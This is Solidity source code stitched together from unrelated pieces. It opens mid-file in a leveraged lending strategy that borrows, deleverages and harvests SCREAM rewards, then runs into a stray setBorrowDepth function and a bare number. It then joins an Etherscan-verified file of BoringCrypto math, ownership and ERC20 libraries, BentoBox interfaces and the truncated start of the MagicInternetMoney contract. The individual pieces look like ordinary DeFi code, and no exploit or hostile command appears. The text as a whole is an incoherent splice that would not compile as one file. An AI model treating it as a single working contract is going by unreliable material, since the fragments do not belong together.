comptroller.markets(address(cWant)); uint256 canBorrow = (supplied * collateralFactorMantissa) / MANTISSA; canBorrow -= borrowed; if (canBorrow < _withdrawAmount) { _withdrawAmount = canBorrow; } if (_withdrawAmount > 10) { // borrow available amount CErc20I(cWant).borrow(_withdrawAmount); // deposit available want as collateral CErc20I(cWant).mint(balanceOfWant()); } return _withdrawAmount; } /** * @dev Gets the maximum amount allowed to be borrowed for a given collateral factor and amount supplied */ function _getMaxBorrowFromSupplied(uint256 wantSupplied, uint256 collateralFactor) internal pure returns (uint256) { return ((wantSupplied * collateralFactor) / (MANTISSA - collateralFactor)); } /** * @dev Returns if the strategy should leverage with the given ltv level */ function _shouldLeverage(uint256 _ltv) internal view returns (bool) { if (targetLTV >= allowedLTVDrift && _ltv < targetLTV - allowedLTVDrift) { return true; } return false; } /** * @dev Returns if the strategy should deleverage with the given ltv level */ function _shouldDeleverage(uint256 _ltv) internal view returns (bool) { if (_ltv > targetLTV + allowedLTVDrift) { return true; } return false; } /** * @dev This is the state changing calculation of LTV that is more accurate * to be used internally. */ function _calculateLTV() internal returns (uint256 ltv) { uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); if (supplied == 0 || borrowed == 0) { return 0; } ltv = (MANTISSA * borrowed) / supplied; } /** * @dev Calculates what the LTV will be after withdrawing */ function _calculateLTVAfterWithdraw(uint256 _withdrawAmount) internal returns (uint256 ltv) { uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); supplied = supplied - _withdrawAmount; if (supplied == 0 || borrowed == 0) { return 0; } ltv = (uint256(1e18) * borrowed) / supplied; } /** * @dev Withdraws want to the vault by redeeming the underlying */ function _withdrawUnderlyingToVault(uint256 _withdrawAmount) internal { uint256 initialWithdrawAmount = _withdrawAmount; uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); uint256 realSupplied = supplied - borrowed; if (realSupplied == 0) { return; } if (_withdrawAmount > realSupplied) { _withdrawAmount = realSupplied; } uint256 tempColla = targetLTV + allowedLTVDrift; uint256 reservedAmount = 0; if (tempColla == 0) { tempColla = 1e15; // 0.001 * 1e18. lower we have issues } reservedAmount = (borrowed * MANTISSA) / tempColla; if (supplied >= reservedAmount) { uint256 redeemable = supplied - reservedAmount; uint256 balance = cWant.balanceOf(address(this)); if (balance > 1) { if (redeemable < _withdrawAmount) { _withdrawAmount = redeemable; } } } uint256 withdrawAmount = _withdrawAmount - 1; if(withdrawAmount < initialWithdrawAmount) { require( withdrawAmount >= (initialWithdrawAmount * (PERCENT_DIVISOR - withdrawSlippageTolerance)) / PERCENT_DIVISOR ); } CErc20I(cWant).redeemUnderlying(withdrawAmount); IERC20Upgradeable(want).safeTransfer(vault, withdrawAmount); } /** * @dev For a given withdraw amount, figures out the new borrow with the current supply * that will maintain the target LTV */ function _getDesiredBorrow(uint256 _withdrawAmount) internal returns (uint256 position) { //we want to use statechanging for safety uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); //When we unwind we end up with the difference between borrow and supply uint256 unwoundSupplied = supplied - borrowed; //we want to see how close to collateral target we are. //So we take our unwound supplied and add or remove the _withdrawAmount we are are adding/removing. //This gives us our desired future undwoundDeposit (desired supply) uint256 desiredSupply = 0; if (_withdrawAmount > unwoundSupplied) { _withdrawAmount = unwoundSupplied; } desiredSupply = unwoundSupplied - _withdrawAmount; //(ds *c)/(1-c) uint256 num = desiredSupply * targetLTV; uint256 den = MANTISSA - targetLTV; uint256 desiredBorrow = num / den; if (desiredBorrow > 1e5) { //stop us going right up to the wire desiredBorrow = desiredBorrow - 1e5; } position = borrowed - desiredBorrow; } /** * @dev For a given withdraw amount, deleverages to a borrow level * that will maintain the target LTV */ function _deleverage(uint256 _withdrawAmount) internal { uint256 newBorrow = _getDesiredBorrow(_withdrawAmount); // //If there is no deficit we dont need to adjust position // //if the position change is tiny do nothing if (newBorrow > minWantToLeverage) { uint256 i = 0; while (newBorrow > minWantToLeverage + 100) { newBorrow = newBorrow - _leverDownStep(newBorrow); i++; //A limit set so we don't run out of gas if (i >= borrowDepth) { break; } } } } /** * @dev Deleverages one step */ function _leverDownStep(uint256 maxDeleverage) internal returns (uint256 deleveragedAmount) { uint256 minAllowedSupply = 0; uint256 supplied = cWant.balanceOfUnderlying(address(this)); uint256 borrowed = cWant.borrowBalanceStored(address(this)); (, uint256 collateralFactorMantissa, ) = comptroller.markets(address(cWant)); //collat ration should never be 0. if it is something is very wrong... but just incase if (collateralFactorMantissa != 0) { minAllowedSupply = (borrowed * MANTISSA) / collateralFactorMantissa; } uint256 maxAllowedDeleverageAmount = supplied - minAllowedSupply; deleveragedAmount = maxAllowedDeleverageAmount; if (deleveragedAmount >= borrowed) { deleveragedAmount = borrowed; } if (deleveragedAmount >= maxDeleverage) { deleveragedAmount = maxDeleverage; } uint256 exchangeRateStored = cWant.exchangeRateStored(); //redeemTokens = redeemAmountIn * 1e18 / exchangeRate. must be more than 0 //a rounding error means we need another small addition if (deleveragedAmount * MANTISSA >= exchangeRateStored && deleveragedAmount > 10) { deleveragedAmount -= 10; // Amount can be slightly off for tokens with less decimals (USDC), so redeem a bit less cWant.redeemUnderlying(deleveragedAmount); //our borrow has been increased by no more than maxDeleverage cWant.repayBorrow(deleveragedAmount); } } /** * @dev Core function of the strat, in charge of collecting and re-investing rewards. * @notice Assumes the deposit will take care of the TVL rebalancing. * 1. Claims {SCREAM} from the comptroller. * 2. Swaps {SCREAM} to {WFTM}. * 3. Claims fees for the harvest caller and treasury. * 4. Swaps the {WFTM} token for {want} * 5. Deposits. */ function _harvestCore() internal override { _claimRewards(); _swapRewardsToWftm(); _chargeFees(); _swapToWant(); deposit(); } /** * @dev Core harvest function. * Get rewards from markets entered */ function _claimRewards() internal { CTokenI[] memory tokens = new CTokenI[](1); tokens[0] = cWant; comptroller.claimComp(address(this), tokens); } /** * @dev Core harvest function. * Swaps {SCREAM} to {WFTM} */ function _swapRewardsToWftm() internal { uint256 screamBalance = IERC20Upgradeable(SCREAM).balanceOf(address(this)); if (screamBalance >= minScreamToSell) { IUniswapRouter(UNI_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens( screamBalance, 0, screamToWftmRoute, address(this), block.timestamp + 600 ); } } /** * @dev Core harvest function. * Charges fees based on the amount of WFTM gained from reward */ function _chargeFees() internal { uint256 wftmFee = (IERC20Upgradeable(WFTM).balanceOf(address(this)) * totalFee) / PERCENT_DIVISOR; if (wftmFee != 0) { uint256 callFeeToUser = (wftmFee * callFee) / PERCENT_DIVISOR; uint256 treasuryFeeToVault = (wftmFee * treasuryFee) / PERCENT_DIVISOR; uint256 feeToStrategist = (treasuryFeeToVault * strategistFee) / PERCENT_DIVISOR; treasuryFeeToVault -= feeToStrategist; IERC20Upgradeable(WFTM).safeTransfer(msg.sender, callFeeToUser); IERC20Upgradeable(WFTM).safeTransfer(treasury, treasuryFeeToVault); IERC20Upgradeable(WFTM).safeTransfer(strategistRemitter, feeToStrategist); } } /** * @dev Core harvest function. * Swaps {WFTM} for {want} */ function _swapToWant() internal { if (want == WFTM) { return; } uint256 wftmBalance = IERC20Upgradeable(WFTM).balanceOf(address(this)); if (wftmBalance != 0) { IUniswapRouter(UNI_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens( wftmBalance, 0, wftmToWantRoute, address(this), block.timestamp + 600 ); } } /** * @dev Gives the necessary allowances to mint cWant, swap rewards etc */ function _giveAllowances() internal { IERC20Upgradeable(want).safeIncreaseAllowance( address(cWant), type(uint256).max - IERC20Upgradeable(want).allowance(address(this), address(cWant)) ); IERC20Upgradeable(WFTM).safeIncreaseAllowance( UNI_ROUTER, type(uint256).max - IERC20Upgradeable(WFTM).allowance(address(this), UNI_ROUTER) ); IERC20Upgradeable(SCREAM).safeIncreaseAllowance( UNI_ROUTER, type(uint256).max - IERC20Upgradeable(SCREAM).allowance(address(this), UNI_ROUTER) ); } /** * @dev Removes all allowance that were given */ function _removeAllowances() internal { IERC20Upgradeable(want).safeDecreaseAllowance(address(cWant), IERC20Upgradeable(want).allowance(address(this), address(cWant))); IERC20Upgradeable(WFTM).safeDecreaseAllowance(UNI_ROUTER, IERC20Upgradeable(WFTM).allowance(address(this), UNI_ROUTER)); IERC20Upgradeable(SCREAM).safeDecreaseAllowance(UNI_ROUTER, IERC20Upgradeable(SCREAM).allowance(address(this), UNI_ROUTER)); } /** * @dev Helper modifier for functions that need to update the internal balance at the end of their execution. */ modifier doUpdateBalance { _; updateBalance(); } }
Sets a new borrow depth (how many loops for leveraging+deleveraging)/
function setBorrowDepth(uint8 _borrowDepth) external { _onlyStrategistOrOwner(); require(_borrowDepth <= maxBorrowDepth); borrowDepth = _borrowDepth; }
12,543,970
/** *Submitted for verification at Etherscan.io on 2021-07-06 */ // SPDX-License-Identifier: MIXED // File @boringcrypto/boring-solidity/contracts/libraries/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File @boringcrypto/boring-solidity/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; // Audit on 5-Jan-2021 by Keno and BoringCrypto // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto contract BoringOwnableData { address public owner; address public pendingOwner; } contract BoringOwnable is BoringOwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // File @boringcrypto/boring-solidity/contracts/interfaces/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File @boringcrypto/boring-solidity/contracts/[emailΒ protected] // License-Identifier: MIT // Based on code and smartness by Ross Campbell and Keno // Uses immutable to store the domain separator to reduce gas usage // If the chain id changes due to a fork, the forked chain will calculate on the fly. pragma solidity 0.6.12; // solhint-disable no-inline-assembly contract Domain { bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"); // See https://eips.ethereum.org/EIPS/eip-191 string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01"; // solhint-disable var-name-mixedcase bytes32 private immutable _DOMAIN_SEPARATOR; uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID; /// @dev Calculate the DOMAIN_SEPARATOR function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) { return keccak256( abi.encode( DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this) ) ); } constructor() public { uint256 chainId; assembly {chainId := chainid()} _DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId); } /// @dev Return the DOMAIN_SEPARATOR // It's named internal to allow making it public from the contract that uses it by creating a simple view function // with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator. // solhint-disable-next-line func-name-mixedcase function _domainSeparator() internal view returns (bytes32) { uint256 chainId; assembly {chainId := chainid()} return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); } function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) { digest = keccak256( abi.encodePacked( EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, _domainSeparator(), dataHash ) ); } } // File @boringcrypto/boring-solidity/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; // solhint-disable no-inline-assembly // solhint-disable not-rely-on-time // Data part taken out for building of contracts that receive delegate calls contract ERC20Data { /// @notice owner > balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner > nonce mapping. Used in `permit`. mapping(address => uint256) public nonces; } abstract contract ERC20 is IERC20, Domain { /// @notice owner > balance mapping. mapping(address => uint256) public override balanceOf; /// @notice owner > spender > allowance mapping. mapping(address => mapping(address => uint256)) public override allowance; /// @notice owner > nonce mapping. Used in `permit`. mapping(address => uint256) public nonces; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /// @notice Transfers `amount` tokens from `msg.sender` to `to`. /// @param to The address to move the tokens. /// @param amount of the tokens to move. /// @return (bool) Returns True if succeeded. function transfer(address to, uint256 amount) public returns (bool) { // If `amount` is 0, or `msg.sender` is `to` nothing happens if (amount != 0 || msg.sender == to) { uint256 srcBalance = balanceOf[msg.sender]; require(srcBalance >= amount, "ERC20: balance too low"); if (msg.sender != to) { require(to != address(0), "ERC20: no zero address"); // Moved down so low balance calls safe some gas balanceOf[msg.sender] = srcBalance - amount; // Underflow is checked balanceOf[to] += amount; } } emit Transfer(msg.sender, to, amount); return true; } /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`. /// @param from Address to draw tokens from. /// @param to The address to move the tokens. /// @param amount The token amount to move. /// @return (bool) Returns True if succeeded. function transferFrom( address from, address to, uint256 amount ) public returns (bool) { // If `amount` is 0, or `from` is `to` nothing happens if (amount != 0) { uint256 srcBalance = balanceOf[from]; require(srcBalance >= amount, "ERC20: balance too low"); if (from != to) { uint256 spenderAllowance = allowance[from][msg.sender]; // If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20). if (spenderAllowance != type(uint256).max) { require(spenderAllowance >= amount, "ERC20: allowance too low"); allowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked } require(to != address(0), "ERC20: no zero address"); // Moved down so other failed calls safe some gas balanceOf[from] = srcBalance - amount; // Underflow is checked balanceOf[to] += amount; } } emit Transfer(from, to, amount); return true; } /// @notice Approves `amount` from sender to be spend by `spender`. /// @param spender Address of the party that can draw from msg.sender's account. /// @param amount The maximum collective amount that `spender` can draw. /// @return (bool) Returns True if approved. function approve(address spender, uint256 amount) public override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32) { return _domainSeparator(); } // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /// @notice Approves `value` from `owner_` to be spend by `spender`. /// @param owner_ Address of the owner. /// @param spender The address of the spender that gets approved to draw from `owner_`. /// @param value The maximum collective amount that `spender` can draw. /// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds). function permit( address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override { require(owner_ != address(0), "ERC20: Owner cannot be 0"); require(block.timestamp < deadline, "ERC20: Expired"); require( ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))), v, r, s) == owner_, "ERC20: Invalid Signature" ); allowance[owner_][spender] = value; emit Approval(owner_, spender, value); } } contract ERC20WithSupply is IERC20, ERC20 { uint256 public override totalSupply; function _mint(address user, uint256 amount) private { uint256 newTotalSupply = totalSupply + amount; require(newTotalSupply >= totalSupply, "Mint overflow"); totalSupply = newTotalSupply; balanceOf[user] += amount; } function _burn(address user, uint256 amount) private { require(balanceOf[user] >= amount, "Burn too much"); totalSupply -= amount; balanceOf[user] -= amount; } } // File @boringcrypto/boring-solidity/contracts/interfaces/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IMasterContract { /// @notice Init function that gets called from `BoringFactory.deploy`. /// Also kown as the constructor for cloned contracts. /// Any ETH send to `BoringFactory.deploy` ends up here. /// @param data Can be abi encoded arguments or anything else. function init(bytes calldata data) external payable; } // File @boringcrypto/boring-solidity/contracts/libraries/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; struct Rebase { uint128 elastic; uint128 base; } /// @notice A rebasing library using overflow-/underflow-safe math. library RebaseLibrary { using BoringMath for uint256; using BoringMath128 for uint128; /// @notice Calculates the base value in relationship to `elastic` and `total`. function toBase( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (uint256 base) { if (total.elastic == 0) { base = elastic; } else { base = elastic.mul(total.base) / total.elastic; if (roundUp && base.mul(total.elastic) / total.base < elastic) { base = base.add(1); } } } /// @notice Calculates the elastic value in relationship to `base` and `total`. function toElastic( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (uint256 elastic) { if (total.base == 0) { elastic = base; } else { elastic = base.mul(total.elastic) / total.base; if (roundUp && elastic.mul(total.base) / total.elastic < base) { elastic = elastic.add(1); } } } /// @notice Add `elastic` to `total` and doubles `total.base`. /// @return (Rebase) The new total. /// @return base in relationship to `elastic`. function add( Rebase memory total, uint256 elastic, bool roundUp ) internal pure returns (Rebase memory, uint256 base) { base = toBase(total, elastic, roundUp); total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return (total, base); } /// @notice Sub `base` from `total` and update `total.elastic`. /// @return (Rebase) The new total. /// @return elastic in relationship to `base`. function sub( Rebase memory total, uint256 base, bool roundUp ) internal pure returns (Rebase memory, uint256 elastic) { elastic = toElastic(total, base, roundUp); total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return (total, elastic); } /// @notice Add `elastic` and `base` to `total`. function add( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.add(elastic.to128()); total.base = total.base.add(base.to128()); return total; } /// @notice Subtract `elastic` and `base` to `total`. function sub( Rebase memory total, uint256 elastic, uint256 base ) internal pure returns (Rebase memory) { total.elastic = total.elastic.sub(elastic.to128()); total.base = total.base.sub(base.to128()); return total; } /// @notice Add `elastic` to `total` and update storage. /// @return newElastic Returns updated `elastic`. function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.add(elastic.to128()); } /// @notice Subtract `elastic` from `total` and update storage. /// @return newElastic Returns updated `elastic`. function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) { newElastic = total.elastic = total.elastic.sub(elastic.to128()); } } // File @boringcrypto/boring-solidity/contracts/libraries/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; // solhint-disable avoid-low-level-calls library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) function returnDataToString(bytes memory data) internal pure returns (string memory) { if (data.length >= 64) { return abi.decode(data, (string)); } else if (data.length == 32) { uint8 i = 0; while(i < 32 && data[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && data[i] != 0; i++) { bytesArray[i] = data[i]; } return string(bytesArray); } else { return "???"; } } /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File @sushiswap/bentobox-sdk/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IBatchFlashBorrower { function onBatchFlashLoan( address sender, IERC20[] calldata tokens, uint256[] calldata amounts, uint256[] calldata fees, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IFlashBorrower { function onFlashLoan( address sender, IERC20 token, uint256 amount, uint256 fee, bytes calldata data ) external; } // File @sushiswap/bentobox-sdk/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; interface IStrategy { // Send the assets to the Strategy and call skim to invest them function skim(uint256 amount) external; // Harvest any profits made converted to the asset and pass them to the caller function harvest(uint256 balance, address sender) external returns (int256 amountAdded); // Withdraw assets. The returned amount can differ from the requested amount due to rounding. // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for. function withdraw(uint256 amount) external returns (uint256 actualAmount); // Withdraw all assets in the safest way possible. This shouldn't fail. function exit(uint256 balance) external returns (int256 amountAdded); } // File @sushiswap/bentobox-sdk/contracts/[emailΒ protected] // License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IBentoBoxV1 { event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress); event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver); event LogRegisterProtocol(address indexed protocol); event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved); event LogStrategyDivest(address indexed token, uint256 amount); event LogStrategyInvest(address indexed token, uint256 amount); event LogStrategyLoss(address indexed token, uint256 amount); event LogStrategyProfit(address indexed token, uint256 amount); event LogStrategyQueued(address indexed token, address indexed strategy); event LogStrategySet(address indexed token, address indexed strategy); event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage); event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share); event LogWhiteListMasterContract(address indexed masterContract, bool approved); event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function balanceOf(IERC20, address) external view returns (uint256); function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results); function batchFlashLoan(IBatchFlashBorrower borrower, address[] calldata receivers, IERC20[] calldata tokens, uint256[] calldata amounts, bytes calldata data) external; function claimOwnership() external; function deploy(address masterContract, bytes calldata data, bool useCreate2) external payable; function deposit(IERC20 token_, address from, address to, uint256 amount, uint256 share) external payable returns (uint256 amountOut, uint256 shareOut); function flashLoan(IFlashBorrower borrower, address receiver, IERC20 token, uint256 amount, bytes calldata data) external; function harvest(IERC20 token, bool balance, uint256 maxChangeAmount) external; function masterContractApproved(address, address) external view returns (bool); function masterContractOf(address) external view returns (address); function nonces(address) external view returns (uint256); function owner() external view returns (address); function pendingOwner() external view returns (address); function pendingStrategy(IERC20) external view returns (IStrategy); function permitToken(IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function registerProtocol() external; function setMasterContractApproval(address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s) external; function setStrategy(IERC20 token, IStrategy newStrategy) external; function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external; function strategy(IERC20) external view returns (IStrategy); function strategyData(IERC20) external view returns (uint64 strategyStartDate, uint64 targetPercentage, uint128 balance); function toAmount(IERC20 token, uint256 share, bool roundUp) external view returns (uint256 amount); function toShare(IERC20 token, uint256 amount, bool roundUp) external view returns (uint256 share); function totals(IERC20) external view returns (Rebase memory totals_); function transfer(IERC20 token, address from, address to, uint256 share) external; function transferMultiple(IERC20 token, address from, address[] calldata tos, uint256[] calldata shares) external; function transferOwnership(address newOwner, bool direct, bool renounce) external; function whitelistMasterContract(address masterContract, bool approved) external; function whitelistedMasterContracts(address) external view returns (bool); function withdraw(IERC20 token_, address from, address to, uint256 amount, uint256 share) external returns (uint256 amountOut, uint256 shareOut); } // File contracts/MagicInternetMoney.sol // License-Identifier: MIT // Magic Internet Money // β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•— // β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘ // β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘ // β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘ // β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘ // β•šβ•β• β•šβ•β•β•šβ•β•β•šβ•β• β•šβ•β• // BoringCrypto, 0xMerlin pragma solidity 0.6.12; /// @title Cauldron /// @dev This contract allows contract calls to any contract (except BentoBox) /// from arbitrary callers thus, don't trust calls from this contract in any circumstances. contract MagicInternetMoney is ERC20, BoringOwnable { using BoringMath for uint256; // ERC20 'variables' string public constant symbol = 